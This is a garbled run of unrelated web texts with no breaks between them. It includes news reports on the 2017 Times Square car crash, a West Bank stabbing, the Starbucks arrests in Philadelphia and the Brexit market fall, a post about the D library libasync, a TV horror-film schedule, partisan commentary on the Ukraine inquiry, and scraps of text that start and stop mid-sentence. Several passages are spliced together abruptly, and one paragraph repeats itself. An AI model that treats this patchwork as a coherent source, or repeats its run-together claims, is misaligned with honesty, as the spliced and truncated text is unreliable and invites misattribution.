The man who drove his car into a crowded sidewalk in Times Square on Thursday was high on synthetic marijuana, known on the street as K2, according to ABC News. Richard Rojas, 26, plowed down three city blocks, killing an 18-year-old woman and injuring at least 22 others in what appears to have been a drug-fueled rampage. Rojas, a Navy veteran from the Bronx, has been arrested twice in the past for drunken driving -- in 2008 and 2015. 23 PHOTOS Car strikes pedestrians in Times Square See Gallery Car strikes pedestrians in Times Square NEW YORK, USA - MAY 18: Flames and smoke rises from a wrecked vehicle after it plowed into pedestrians on a busy sidewalk on the corner of West 45th St. and Broadway at Times Square, New York, NY United States on May 18, 2017. Multiple pedestrians were struck Thursday by a speeding vehicle in the heart of New York City, according to reports. At least 13 people wounded. (Photo by Volkan Furuncu/Anadolu Agency/Getty Images) Richard Rojas is escorted from the 7th precinct by New York City Police officers after being processed in connection with the speeding vehicle that struck pedestrians on a sidewalk in Times Square in New York City, U.S., May 18, 2017. REUTERS/Stephanie Keith An injured woman lays on the sidewalk in Times Square after a speeding vehicle struck pedestirans on the sidewalk inn New York City, U.S., May 18, 2017. REUTERS/Mike Segar TPX IMAGES OF THE DAY A photo of victim Alyssa Elsman of Portage, Michigan is posted on a baricade in Times Square May 19, 2017, the morning after Richard Rojas crashed his car into a a crowd of pedestrians in New York's Times Square killing one and injuring 22 people. A US Navy veteran who plowed a car into pedestrians in New York's Times Square, killing a woman and injuring 22 other people, has been charged with murder and attempted murder, police said Friday. / AFP PHOTO / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) First responders are at the scene as people help injured pedestrians after a vehicle struck pedestrians on a sidewalk in Times Square in New York, U.S., May 18, 2017. REUTERS/Jeremy Schultz First responders and people help injured pedestrians after a vehicle struck pedestrians on a sidewalk in Times Square in New York, U.S., May 18, 2017. REUTERS/Jeremy Schultz ATTENTION EDITORS - VISUALS COVERAGE OF SCENES OF INJURY An injured man is seen on the sidewalk in Times Square after a speeding vehicle struck pedestrians on the sidewalk in New York City, U.S., May 18, 2017. REUTERS/Mike Segar First responders are assisting injured pedestrians after a vehicle struck pedestrians on a sidewalk in Times Square in New York, U.S., May 18, 2017. REUTERS/Jeremy Schultz An injured woman is seen on the sidewalk in Times Square after a speeding vehicle struck pedestrians on the sidewalk inn New York City, U.S., May 18, 2017. REUTERS/Mike Segar ATTENTION EDITORS - VISUALS COVERAGE OF SCENES OF INJURY An injured man is seen on the sidewalk in Times Square after a speeding vehicle struck pedestrians on the sidewalk in New York City, U.S., May 18, 2017. REUTERS/Mike Segar First responders tend to an injured pedestrian after a vehicle struck pedestrians on a sidewalk in Times Square in New York, U.S., May 18, 2017. REUTERS/Lucas Jackson A woman attends to an injured man on the sidewalk in Times Square after a speeding vehicle struck pedestrians on the sidewalk in New York City, U.S., May 18, 2017. REUTERS/Mike Segar TPX IMAGES OF THE DAY ATTENTION EDITORS - VISUALS COVERAGE OF SCENES OF DEATH OR INJURY A body of a deceased person lies covered on the sidewalk in front of the 3 Times Sq building in Times Square after a speeding vehicle struck pedestrians on the sidewalk in New York City, U.S., May 18, 2017. REUTERS/Mike Segar TEMPLATE OUT Police investigate the vehicle that drove onto sidewalk and struck pedestrians in Times Square in New York, U.S., May 18, 2017. REUTERS/Lucas Jackson NEW YORK, NY - MAY 18: A wrecked car sits in the intersection of 45th and Broadway in Times Square, May 18, 2017 in New York City. According to reports there were multiple injuries and one fatality after the car plowed into a crowd of people. (Photo by Drew Angerer/Getty Images) NEW YORK, USA - MAY 18: A wounded civilian is being hospitalized after a maroon sedan vehicle plowed into pedestrians on a busy sidewalk on the corner of West 45th St. and Broadway at Times Square, New York, NY United States on May 18, 2017

Russell Brand made a post on his Facebook page saying this, ”I mean in England we have a Queen for fuck’s sake. A Queen! We have to call her things like “Your Majesty” YOUR MAJESTY! Like she’s all majestic, like an eagle or a mountain. She’s just a person. A little old lady in a shiny hat – that we paid for. Or “Your Highness”! What the fuck is that?! What, she’s high up, above us, at the top of a class pyramid on a shelf of money with her own face on it. We should be calling her Mrs Windsor. In fact that’s not even her real name, they changed it in the war to distract us from the inconvenient fact that they were as German as the enemy that teenage boys were being encouraged, conscripted actually, to die fighting. Her actual name is Mrs Saxe-Coburg-Gotha. “Mrs Saxe-Coburg-Gotha”!! No wonder they fucking changed it. It’s the most German thing I’ve ever heard – she might’ve well as been called “Mrs Bratwurst-Kraut-Nazi”. – from REVOLUTION Since then he has unsurprisingly been the victim of a media backlash. This is nothing new to Russell Brand who is very outspoken with his views and he is someone we feature regularly on this website. For your viewing pleasure we have compiled all of his videos where he speaks out about ‘The Windsors’. Feel free to share it far and wide. Oh and if you want to research the name Saxe-Coburg-Gotha a simple google search will bring you all the information you need to know. Kasim Khan, Team EiC (Follow me on Instagram here) Please SHARE this article with your family and friends. You can follow us on Instagram HERE And if you haven’t already please help us reach 3 million Facebook fans by following us HERE You can follow Kash Khan the Creator of EducateInspireChange @ConsciousKash on Instagram The Israeli army has shot and wounded a Palestinian woman after she stabbed an Israeli civilian near a Jewish settlement bloc in the southern part of the occupied West Bank, police said. Witnesses told Al Jazeera that 23-year-old Amal Jihad Taqatqa from Bethlehem arrived at the Gush Etzion settlement bloc on Monday and stabbed the civilian with a knife, injuring him lightly. "According to the police, the woman approached an Israeli soldier with the intention of stabbing him but was unable to do so. So she then used her knife to harm a passerby, an Israeli civilian, who was apparently only lightly injured," Al Jazeera's Nisreen El-Shamayleh reported from Ramallah. Police released a statement saying that the Israeli civilian suffered minor injuries in the stabbing at the settlement bloc south of Bethlehem, and that the Palestinian woman was transferred to a hospital for further medical treatment. The Palestine Red Crescent told Al Jazeera that they saw the Palestinian woman after she was shot at the junction but that Israeli authorities did not allow the Palestinian medical team to approach her. Media reports said she was in critical condition. Local sources told Al Jazeera that Taqatqa's house in Bet Fajjar, south of Bethlehem, has been raided by Israeli forces and that they have also arrested her father. The Gush Etzion junction is a business, commercial and tourism centre in the southern West Bank, which serves as the entry point to the Gush Etzion bloc of settlements. Later on Monday, police said an Israeli bus was pelted with stones by Palestinians elsewhere in the West Bank. No one was injured in the attack. Jerusalem and the West Bank have seen a number of violent attacks in recent weeks. Israeli-Palestinian tensions have been soaring since June, when Palestinians kidnapped and killed three Israeli settlers in the West Bank. Israelis retaliated by abducting and burning alive a Palestinian teenager in East Jerusalem. The kidnappings set off a series of events that led to the 50-day Gaza war, which left more than 2,100 Palestinians and 71 Israelis dead. Competing claims to a holy site in Jerusalem's Old City has also added to the tensions, as well as anger over illegal settlements on Palestinian land.

libasync is a cross-platform event loop library written completely in D. It was created, and continues to be maintained, by Etienne Cimon, who started it as a native driver for vibe.d, a modular asynchronous I/O framework most often used for web app development in D. In 2014 or so, I was looking for a framework to power my future web development projects. I wasn’t going to use an interpreted language, as binary executables were too attractive. I found vibe.d appealing because, coming from C++, it was relatively simple and featureful. So I studied it, along with the D programming language and the Phobos standard library. vibe.d has always used libevent under the hood by default. This is where Etienne ran into a problem that bothered him. I stumbled on some workflow issues when deploying vibe.d apps to other operating systems which may or may not have the right version of libevent in the package repository. I didn’t want to package a DLL with my server, or have to go through dependency hell with my software, and I wanted everything to be consistently written in D to reduce the mental complexity of switching programming languages or to debug other issues. So he decided to study up on the system APIs across the platforms supported by DMD (Windows, Linux, *BSD and OS X) and create his own event loop library in D. Now he, and anyone using libasync, can issue a single command with DUB to compile and execute a web application without needing to worry about external event loop dependencies. libasync takes advantage of D’s delegates to provide a very intuitive interface. void testDNS() { auto dns = new shared AsyncDNS(g_evl); dns.handler((NetworkAddress addr) { writeln("Resolved to: ", addr.toString(), ", it took: ", g_swDns.peek().usecs, " usecs"); }).resolveHost("127.0.0.1"); } Etienne says of the code snippet above: The D garbage collector will keep the AsyncDNS object in dns alive for as long as the delegate used in the parameter of dns.handler is alive in the heap, which is in this object. The delegate syntax is more simple to declare than Javascript, and it is also type-safe. This DNS resolver will work on any platform thrown at it, thanks to D’s compile-time version conditions. libasync makes use of the asynchronous I/O facilities available on each supported platform and provides a number of event-handlers out of the box. Cross-platform event handlers have been defined for DNS resolution, UDP Messages, (Buffered/Unbuffered) TCP Connections, TCP Listeners, File Operations, Thread-local (Notifiers) and Cross-thread Signals, Timers and File Watchers. The intrinsics involve EPoll for Linux, KQueue for OS X and BSD, and overlapped I/O for Windows. With all of these features thoroughly tested through a vibe.d driver, libasync has become a very fast and reliable library which I use in all of my projects. My benchmarks show it as being a little slower than the libevent driver in vibe.d, though its self-explanatory code base makes it seamless to understand, maintain, and deploy. A libasync driver has been added to vibe.d and work is going on to improve the library’s performance. The stability of the underlying OS features makes for very little need for changes, although there is a big improvement involving the proactor pattern in the works for libasync and a new architecture for vibe.d. Together, those two developments are likely to increase the library’s performance significantly. If you find yourself needing an event loop in D and want to give libasync a spin, you can visit the library’s page at the DUB repository for information on how to add it as a dependency to your own DUB-managed projects. libasync, in turn, has only one dependency itself, another library maintained by Etienne that provides a set of allocators and allocator-friendly containers called memutils. It wasn’t so long ago that anyone using D who wanted something like libasync or memutils would need to either roll their own or bind to a C library. The ever-expanding list of libraries in the DUB repository, created and made available by members of the D community like Etienne, make it much easier to jump into D today than ever before.

Peru’s cloud forests are some of the most biologically diverse ecosystems in the world. A profusion of tree and plant species as well as one third of Peru’s mammal, bird and frog species make their home in these perennially wet regions, located along the eastern slopes of the Andes Mountains. The high elevation (6,500-11,000 feet), and remote location of these areas makes them some of the hardest to reach and therefore hardest to study ecosystems in the world. To date, scientists only believe a fraction of cloud forest tree and plant species have been discovered. This massive array of underexplored biodiversity will face an unprecedented threat before the end of the century. Researchers at Wake Forest have pieced together startling new evidence that shows rapid 21st century warming may spell doom for tree species in Peruvian cloud forests, with species losing 53 to 96 percent of their populations. The team’s results appear in the Sept. 11, 2013 edition of the online journal PLoS ONE. Stuck in a Hot Place The habitats of most Andean plants—and therefore the habitats of the organisms that use them for food and shelter—are determined largely by temperature. Temperatures change quickly on the slopes of the Andes due to the region’s steep terrain. This means the vast majority of trees and plants only can live in a range that extends a few hundred meters. “I could be standing among a group of one tree species and throw a rock completely across their ranges,” says David Lutz, a former postdoctoral associate at Wake Forest, who co-authored the paper with professor of biology Miles Silman. Lutz, who is now a post-doctoral research associate at Dartmouth College in New Hampshire, says this means cloud forest trees are particularly sensitive to climate change. Historically, Andean cloud forest seedlings sprout higher in elevation during periods of global warming. However, an unprecedented rate of projected temperature gain in the region over the next century, 5 degrees Celsius, will have them going upslope faster than ever before, says Silman. Plants are going to have to migrate around 3,000 feet to remain in equilibrium with the warming climate by 2100. The problem with this is the trees can only go so far as higher elevation grasslands bar the path upslope. Unlike the cloud forest beneath it, Silman says the transition between trees and grassland, called an ecotone, is stationary over most of the landscape, and only barely moving in other places, even in the face of recorded temperature changes that should have moved it 200m higher. Silman says assuming no additional changes in climatic factors other than temperature, timberline would need to migrate around 900 meters in elevation to keep pace with the cloud forest beneath it. The results of their study show this would take 3,750 years in protected areas and 18,000 years in unprotected areas. Silman says scientists think that a combination of frequent human-set fires and cattle grazing in the grasslands, along with slow growth rates, likely explain a large part of it but aren’t sure. What they do know, however, is that cloud forest trees can’t go through or around the ecotone. “Previous work we’ve done shows that the trees in the forest are migrating upwards, but this work shows the ecotone isn’t,” Silman says. “The ecotone presents a wall to species migration.” The Wake Forest team’s research is the first to address rates of Andes timberline migration at high resolution. It consists of climate change projections based on computer modeling of photos and Quickbird satellite images of remote cloud forests in Peru’s protected Manu National Park and unprotected surrounding areas. The photo data were collected by the United States Air Force’s Aerial Survey teams during June 1963, and digitized to 0.7 microns by the Peruvian Instituto Geographico Nacional. Lutz says current conservation strategies focus on mitigating human impact, essentially preventing human interference so that the cloud forest can evolve and grow as nature intended. He says a more hands on approach will be needed in the immediate future to protect the region from massive population loss. “Intervention is a strategy conservationists seldom use in this ecosystem but it may be the only way to save it,” he says. “Our next step is working with local, and international conservationists to come up a plan to help cloud forests keep moving upslope.”

In 2012, First Lady Michelle Obama presented Swift with The Big Help Award. She won this award for her dedication to helping others and her ability to inspire her fans to take action. She received the award specifically for her efforts assisting American tornado and flood survivors, and for her experiences with Make-A-Wish Foundation. In the Year 2012, Michelle Obama, the First Lady of the USA presented Taylor the Big Help award. She was given the award for her efforts on helping the survivors of tornado and flood survivors of America and for volunteering in Make-A-Wish Foundation. She had won it for showing her kindness and dedication to help others and inspire her fans and followers to take action. it won’t be the free-for-all that has been seen since Prime Minister Justin Trudeau announced recreational weed would be legalized two years ago. “Walking down Kensington Market, where I was born, you can’t help but pass by storefronts selling cannabis; you can’t help but see children, as we walk along the streets, smelling cannabis,” says the treasurer. “Along with the federal government, our goal is to eliminate this illegal market. In order to establish a safe and responsible cannabis retail environment, it requires providing law enforcement officials with the tools to put a stop to the illegal sale of cannabis.” 3 percent. On the other hand, someone married and caring for a child could be paying as little as 8.4 percent. Our ruling Granholm said that Romney paid less tax than the guys that installed his car elevator. On the most literal level, we don't even know if the car elevators have been installed. And we don't know anything about the people who did the work. In a broader sense, what elevator installers pay in federal taxes depends on their personal circumstances. They could be taxed at a higher -- or lower -- rate than Romney has been. This statement is partially accurate. We rate it Half True. In the "City of God," St. Augustine tells the story of a pirate captured by Alexander the Great. The Emperor angrily demanded of him, "How dare you molest the seas?" To which the pirate replied, "How dare you molest the whole world? Because I do it with a small boat, I am called a pirate and a thief. You, with a great navy, molest the world and are called an emperor." St. Augustine thought the pirate's answer was "elegant and excellent." The quote is from Noam Chomsky's Pirates and Emperors and is cited by Ralph Raico at the Liberty and Power Blog. Hat tip to Sheldon Richman. formats or according to different protocols. That is a luxury few long-established companies have, he said. Modern search technologies can help because they are much better at handling different sorts of data and extracting useful information from them - it's rarely just about that big bag of words. And, he said, it was well worth going through the process to analyse the data and see what squeezing it via search can produce. Alqami had helped many organisations realise several new use cases for their data because searching through it more efficiently revealed insights they did not know they had. "Where there is muck there is brass when it comes to data," he said. The rest of the games are coming soon. Update: It's official, check out the full list of games here (and yes, Amazon was right). Original: Each month, PlayStation Plus and Xbox Live Gold offer free games to subscribers on their platform of choice. Typically, Sony or Microsoft reveal the free games for the month, but this time Amazon decided to jump in on the fun. An update to the PS Plus listing on Amazon has revealed two of February's free PlayStation Plus. According to Amazon, LittleBigPlanet 3 and Not a Hero are a part of this month's PS Plus games. The remaining games have yet to be announced. a In Leningrad (St Petersburg) Zoo, the oldest zoo in Russia, an European Lynx had a frequent visitor who befriended the big wild cat and now they are practically living together. This visitor is a calico cat who has bonded with the Lynx ever since the day she entered the enclosure. According to the local people, the calico was homeless and happened to find food in the lynx's enclosure. The lynx did not reject her, rather she became her surrogate mother. It seems as if the calico needs the lynx as much as she needs the little cat. They spend every day together and never leave sight of each other. via English Russia

9:57am – Don’t Breathe (Starz) 10:00am – Chinese Ghost Story 3 (El Rey) 10:00am – Silver Bullet (Sundance) 10:00am – The Strange Love of Martha Ivers (1946) (TCM) 10:15am – The Cabinet of Caligari (FXM) 10:30am – Silent House (SyFy) 11:00am – Halloweentown 2: Kalabar’s Revenge (Disney) 11:20am – The Nightmare Before Christmas (Freeform) 11:26am – House of the Dead (AMC) 11:34am – Dracula (1971) (Starz Encore) 12:00pm – Hannibal Rising (IFC) 12:30pm – Crows Blood: Episode One (El Rey) 12:30pm – The Hills Have Eyes (1977) (Flix) 12:30pm – Christine (Sundance) 12:30pm – The Cave (SyFy) 1:00pm – Hook (Freeform) 1:25pm – House of the Dead 2 (AMC) 1:25pm – The Legend of Hell House (FXM) 1:25pm – Ghost Story (Starz Encore) 1:30pm – Crows Blood: Episode Two (El Rey) 2:00pm – Dracula Untold (FX) 2:30pm – Crows Blood: Episode Three (El Rey) 2:30pm – The Shining (Spike) 2:30pm – Firestarter (Sundance) 2:30pm – Underworld (SyFy) 2:45pm – Hannibal (IFC) 3:00pm – The Ring (HBO) 3:25pm – Land of the Dead (AMC) 3:30pm – Crows Blood: Episode Four (El Rey) 3:40pm – Scary Movie (MTV) 4:15pm – Toy Story of Terror! (Freeform) 4:26pm – Resident Evil: The Final Chapter (Starz) 4:30pm – Crows Blood: Episode Five (El Rey) 4:45pm – Hocus Pocus (Freeform) 5:00pm – Silver Bullet (Sundance) 5:00pm – Trick ’r Treat (SyFy) 5:25pm – Dawn of the Dead (2004) (AMC) 5:30pm – Crows Blood: Episode Six (El Rey) 5:30pm – Prometheus (FXM) 5:45pm – Wes Craven Presents: Dracula 2000 (IFC) 5:55pm – Dead Silence (Starz Encore) 6:00pm – The Silence of the Lambs (BBC) 6:00pm – Hotel Transylvania (FX) 6:00pm – Zombieland (MTV) 6:00pm – Stephen King’s IT (1990) (Spike) 6:25pm – Interview with the Vampire (More Max) 6:30pm – Boogeyman (El Rey) 6:55pm – Monsters, Inc. (Freeform) 6:55pm – Split (HBO) 7:00pm – Christine (Sundance) 7:27pm – My Bloody Valentine (1981) (Starz Encore) 8:00pm – The Thing (1982) (Flix) 8:00pm – Hotel Transylvania 2 (FX) 8:00pm – Poltergeist (2015) (FXX) 8:00pm – Watcher in the Woods (2017) (Lifetime) 8:00pm – Don’t Be Afraid of the Dark (2011) (Reelz) 8:00pm – Taste the Blood of Dracula (1970) (TCM) 8:30pm – The Silence of the Lambs (BBC) 8:30pm – Boogeyman 2 (El Rey) 9:00pm – The Walking Dead (AMC) 9:00pm – Monsters University (Freeform) 9:00pm – The Ring (HBO2) 9:00pm – Black Christmas (2006) (Starz Encore) 9:00pm – Carrie (1974) (Sundance) 9:00pm – Stickman (SyFy) 10:00pm – The

B34.5bn in rice aid measures approved Farmers and residents in Sangkha district, Surin help harvest paddy. NOPPARAT KINGKAEW The National Rice Policy and Management Committee Wednesday approved rice aid measures worth 34.5 billion baht for the 2018/2019 crop year starting in November. Nuntawan Sakuntanaga, the commerce permanent secretary, said the rice measures, mostly identical to those offered for production in the 2017/2018 crop year, cover three projects: a loan scheme for farmers who agree to delay their paddy sales and a grant for harvesting and price-quality improvement costs; a loan scheme for agricultural cooperatives to gather rice and add value to the grain; and the 3% interest rate subsidy programme for rice traders who agree to keep their stocks. These programmes will run from late October to March, except in the southern provinces because of their late supply. The programmes for the South will run until June and July of 2019. The loan scheme for farmers who agree to delay their paddy sales and the grant for harvesting and price-quality improvement costs will cost an estimated 22 billion baht, and the loan scheme for farming institutes to gather rice and add values to rice will cost 12.5 billion. The subsidy programme for rice traders who agree to keep their stocks is yet to be estimated. Those projects are expected to delay selling 9.5 million tonnes of rice -- higher than 6.4 million tonnes last year. The measure aims to curb and delay a flood of rice supply onto the market, particularly during the main harvest season, said Mrs Nuntawan. Under the loan scheme for farmers who agree to delay their paddy sales and the grant for harvesting and price-quality improvement costs, the government will give a grant of 1,500 baht per rai for harvesting and price-quality improvement costs, capped at 18,000 per family and not more than 12 rai. That is up from 1,200 baht per rai, capped at 15,000 baht per family on not more than 10 rai per family in the previous season. Eligible farmers are small-scale ones who have registered with the Agriculture Extension Department. Farmers are also entitled to earn 11,800 baht per tonne for hom mali rice, 10,200 a tonne for glutinous rice, 7,500 a tonne of white rice and 8900 per tonne for Pathum Thani fragrant rice, if they agree to hold their paddy at their rice barns under the so-called barn pledging scheme. The committee also approved 250 million baht worth of lending for farmers from the state-owned Bank for Agriculture and Agricultural Cooperatives to build their own barns, with 150,000 each for individuals and 3 million for each agricultural cooperative, and an annual interest rate of 1%.

Handcuffing of 2 black men in Starbucks in Philadelphia called'reprehensible outcome' by CEO Two black men at a Starbucks in Philadelphia were paraded out in handcuffs. Two black men were handcuffed and paraded out the door of a Philadelphia Starbucks for allegedly refusing to leave when asked by staffers and police in an incident captured in a video that went viral and prompted the chief executive officer of the coffee company to say the "reprehensible outcome" should have never happened. The video, posted by Melissa DePino, took place at around 4:30 p.m. on Thursday inside of a Starbucks on Spruce Street near South 18th Street. DePino's footage immediately went viral on Twitter, racking up more than 9 million views. Starbuck's CEO Kevin Johnson released a statement apologizing to the two men on behalf of the company and saying he hopes to meet with them to "offer a face-to-face apology." "The video shot by customers is very hard to watch and the actions in it are not representative of our Starbucks mission and values," Johnson said in his statement released late Saturday. "Creating an environment that is both safe and welcoming for everyone is paramount for every store. Regretfully, our practices and training led to a bad outcome -- the basis for the call to the Philadelphia police department was wrong. Our store manager never intended for these men to be arrested and this should never have escalated as it did." In an interview with ABC News, Melissa DePino, a 50-year-old writer and mother of two, said a Starbucks barista shouted from behind the counter at the two men to make a purchase or leave. "They were sitting quietly minding their own business, and waiting for their friend to come," she said. DePino said she was so appalled by the incident, she plans to not go anymore to Starbucks. "Plenty of other local places to go," she said. The incident caught on video also brought criticism from the mayor of Philadelphia, which has the nickname, City of Brotherly Love. Mayor Jim Kenney tweeted: "I’m very concerned by the incident at Starbucks. I know Starbucks is reviewing it and we will be too. @PhillyPolice is conducting an internal investigation." On Saturday evening, the mayor put out another statement saying he was "heartbroken" to witness what "appears to exemplify what racial discrimination looks like in 2018." "For many, Starbucks is not just a place to buy a cup of coffee, but a place to meet up with friends or family members, or to get some work done," he said in the statement. Kenney also said that he had asked the Philadelphia Commission on Human Relations to "examine the firm’s policies and procedures" and would be reaching out to Starbucks to "to begin a discussion about this." He went on to add there would be "a thorough review" of police policies with regard to "complaints like this." The same day Philadelphia Police Commissioner Richard Ross Jr. posted a detailed account of the incident, in which he defended his officers' actions. In an almost seven-minute clip, the commissioner said a trespassing and disturbance matter led to Starbucks employees calling 911. He assured the public that he has reviewed the facts and defended the cops, saying they "did absolutely nothing wrong." "I can tell you candidly these officers did a service they were called to do," he said. In DePino's tweet and attached video, she used the Starbucks "@Starbucks" handle to put the company on notice that the two men who "hadn't ordered anything" while waiting for a friend to arrive were arrested "for doing nothing." The video shows several police officers in bicycle helmets, and what appears to be a uniformed supervisor inside the coffee shop. In the video, both men appear calm and cooperative as they are led outside by the police officers. The first is a 20-something, bearded black man wearing navy sweatpants, white sneakers and an unzipped grey jacket. His friend is then seen getting cuffed behind his back and wearing a dark sweatshirt and dark jeans. "They didn't do anything, I saw the entire thing," said one white man, who started to question the arresting officers. "What did they do wrong?" Clearly outraged, DePino wrote the treatment of the two men was racially unjust. "All the other white ppl are wondering why it’s never happened to us when we do the same thing," she wrote in the tweet. Starbucks initially responded on Twitter, first saying it was reviewing the incident to see what "led to this unfortunate result" and later posting an apology. "We apologize to the two individuals and our customers for what took place at

Global markets are finding some footing after initially entering into an absolute freakout after the United Kingdom voted to leave the European Union. But make no mistake, investors have spoken and they are forecasting a dismal global economy due to the Brexit. As the results rolled in on Friday morning and the "leave" vote gained traction, financial markets began to go into shock. The reaction reflected just how much the vote caught the world by surprise. We recommend you hold on to the nearest stable object as you take in the details. And if you don't know what this is about, check out our explainer. Currency traders worldwide right now. pic.twitter.com/otpOPZf9X7 — David Feith (@DavidFeith) June 24, 2016 Many of the world's major stock indexes traded sharply lower, while investors plowed into the safest and most conservative assets. The broader message was clear — there's not a lot of optimism for the global economy after Britain's vote. At this stage, global stocks markets have lost about $3 trillion. — Stephen Koukoulas (@TheKouk) June 24, 2016 The most dramatic move came from Britain's own currency. The British pound has reached dramatic lows not seen in 31 years, declining around 10 percent against the U.S. dollar. The pound then recovered slightly but remains down around 8%, a swing almost unheard of for a currency. This chart, which shows how the pound has moved over the last 45 years, illustrates the insanity of the initial decline. Good morning Britain. This is what happened to your currency while you were asleep. pic.twitter.com/CVrgHnHJJq — John Authers (@johnauthers) June 24, 2016 Stock markets around the world also swooned, driven by concerns that Britain's move could also push other countries to abandon the European Union. Britain's main stock index, the FTSE 100, at plunged as much as 8% but recovered to trade 3.5% lower. Banks and homebuilders were especially hard hit — RBS and Barclays fell around 30%. The U.S. markets also opened lower, with all three major indices down around 2.5%. In much of Asia, where markets had opened, the shockwaves of the Brexit vote generated serious instability. Major indices across Asia took a hit including Australia (down 3.2%), Hong Kong (2.9%), and South Korea (3.1%) all taking a beating. None were hit harder than Japan. The Japanese yen shot up following the "leave" decision, with investors seeking safety in the currency, which is considered a safe haven. The yen zoomed past US$100 for the first time in two and a half years, according to Bloomberg. It can be good for a country to have a strong currency, but too strong and suddenly it can become difficult to get foreign markets to buy your goods — something Japan has wrestle with for years. So when investors piled into the yen following the Brexit vote, Japan's stock market went into a tailspin. Its main stock index, the Nikkei 225, declined 7.9%. Trading was halted on the market for 10 minutes as it hit peak chaos on Friday. This is something we've never seen, chances are you'll never see again Pound just collapses 13% vs. the Yen#Brexit pic.twitter.com/ChBtXmr8Hi — David Ingles (@DavidInglesTV) June 24, 2016 Other safe havens including gold, the U.S. dollar and U.S. Treasuries (debt owed by the U.S.) shot higher, an indication that investors found most every other market far too risky. "All hell is breaking loose," Vishnu Varathan, a senior economist in Singapore at Mizuho Bank Ltd, told Bloomberg. "It looks like markets are now lurching because the prospects of Leave is now looking more tangible. The only surefire is you buy yen, you buy U.S. Treasuries, you buy gold, and you sit tight. Whoever is hurting probably already hurt." As markets across the world fall into chaos, many people watched the insane show and tweeting it live. Others shared GIFs and jokes while nervously laughing to themselves. Pray for the world. Global markets are plunging, is Zach Braff available for comment — Shawn (@online_shawn) June 24, 2016 Well it's been fun guys and gals but sleep calls. It's been a ride, over to you world markets, you know what to do! pic.twitter.com/N9rn67qoVW — Aki At (@Akifromspace) June 24, 2016 i can't wait to see the markets tomorrow lol — Lark (@super

Democrats seem to be working overtime to beat the clock with Barr’s investigation into how the Russia probe started … and it seems like they’re doing the same thing with the Ukraine nonsense. Byron York’s piece on Democrats trying to hide the origins of both investigations is a humdinger: New: Democrats don't want public to know origins of Ukraine probe like they didn't want public to know origins of Russia probe. https://t.co/R661Alcmye — Byron York (@ByronYork) November 18, 2019 From the Washington Examiner: Democrats do not want the public to know. And in that, their position is familiar to anyone who has watched Washington for the last two years: The Democrats’ determination to cut off questions about the origins of the Trump-Ukraine investigation is strikingly similar to their determination to cut off questions about the origins of the Trump-Russia investigation. In both cases, they fought hard to keep secret the origins of investigations that have shaken the nation, deeply divided the electorate, and affected the future of the presidency. From their point of view, it makes sense. Democrats were rattled by Republican efforts to uncover the origins of the Trump-Russia investigation. The Steele dossier, the use of spies and informants to target the Trump campaign, the Carter Page wiretap, the murky start to the Crossfire Hurricane investigation — Democrats resisted GOP attempts to reveal them all. But in 2017 and 2018, Republicans controlled the House. Then-Chairman Devin Nunes used the power of the House Intelligence Committee to unearth key parts of the story. Nunes’ efforts eventually led to a Justice Department inspector general investigation whose results, expected in the coming weeks, could further damage the Democratic Trump-Russia storyline. And then there is the ongoing criminal investigation led by U.S. Attorney John Durham. What are they hiding? A pattern: Impeachment deposition transcripts show Democrats do not want the public to know origins of Trump-Ukraine investigation. Just like they did not want the public to know origins of Trump-Russia investigation. https://t.co/yLsuZ9zCDb — Byron York (@ByronYork) November 18, 2019 In both cases, Trump-Russia and now Trump-Ukraine, Democrats fought hard to keep secret the origins of investigations that have shaken the nation, deeply divided the electorate, and affected the future of the presidency. https://t.co/uquzUF7s36 — Byron York (@ByronYork) November 18, 2019 That the whistleblower's bosses cannot fire, demote, cut pay, or otherwise retaliate against him. If disclosure = retaliation, then prohibition in preceding paragraph would have been stronger, don't you think? https://t.co/pHyGIFwFwu https://t.co/Xjud7epcGY — Byron York (@ByronYork) November 18, 2019 BTW, as Justice Department originally pointed out, the idea of using IC whistleblower law in a complaint against the President of the United States is nuts. https://t.co/1PP3QuuLr6 pic.twitter.com/TmaDq8YKSk — Byron York (@ByronYork) November 18, 2019 Nuts indeed. Accept Democrats at their word that they really want to protect whistleblower's personal safety. It's also true that cutting off questions about whistleblower allows Dems to shut off any look at how Trump-Ukraine probe started. 1/2 https://t.co/zdOdhwnokU — Byron York (@ByronYork) November 18, 2019 Who was involved? What did they do? Why did some government employees think Trump-Zelensky call represented poor judgment, or a missed opportunity, while others thought it represented wrongdoing requiring congressional investigation? 2/2 https://t.co/DgA3KtI5jg — Byron York (@ByronYork) November 18, 2019 Seems obvious authors of ICWPA did not contemplate it being used against the president. Not what the law is about. Protections focused on prohibiting reprisals by bosses at CIA or other intel agencies. Totally crazy to use it to start impeachment. https://t.co/CEgMJZbjrE — Byron York (@ByronYork) November 18, 2019 In Trump-Ukraine impeachment, Dems are applying lessons learned in failed Trump-Russia probe. 1) Do investigation yourself; that way you'll get result you want. 2) Stonewall inquiries into origins of probe. https://t.co/hhmqulIk2l — Byron York (@ByronYork) November 18, 2019 And as we all know, this investigation is not about justice or transparency but about Democrats getting what they want. In 2017-2018, GOP controlled House. Nunes uncovered key facts about origins of Trump-Russia probe. Still going

Readings for Learning Lambda Prolog Learning Lambda Prolog ``lambda Prolog: An Introduction to the Language and its Logic''. The paper Higher-Order Logic Programming by Gopalan Nadathur and Dale Miller might also be helpful. 15 John Lewis, 2015 Okay, so we can't really call this ad "classic" since it was just released this year, but we are pretty confident that it will go down in history as one of the most heart-wrenching Christmas ads ever made. Robin and Starfire to pair up with a similar Beast Boy and Raven drawing I did a while ago! 👀 I'm sorry for the inactivity guys, it's been busy days _( :3」∠ )_ Featured illustrations: Eric Lernould Creator Played backwards, King Arthur is the story of a rich boy who looses his wealth and stabs a rock with a magical life-giving sword. His wizard friend then steals the sword and gives it to some chick in a pond. Thin privilege is not being ridiculed at a Magic the Gathering Convention for simply sitting down and playing a game, and then have it going viral on reddit Which is exactly what happened to these poor people http://imgur.com/a/SjcgE Hi there, My name is Po huang I come from Taiwan,AsiaMay I also use your awesome artwork for youtube video?This video will like this www.youtube.com/watch?v=4rlR7-… I will relink your deviant A Prench Necromancer risks everything to save the life of his only friend from the wrath of his own nation. All the while persued by the long arm of the law, as they travel though hostile lands en route to the one place he knows they will be safe. Police made the tragic discovery after a man managed to get out of the truck and ask a Walmart employee for water, San Antonio Police Chief William McManus said. Some of the passengers escaped into a nearby wooded area as police opened the trailer, McManus said. CREDIT We'll thank you by name in the CREDITS. Plus, you can prove you helped with a printable PDF BACKER CERTIFICATE. You'll also receive EARLY ACCESS to stream new episodes. Less Wet Weather After school 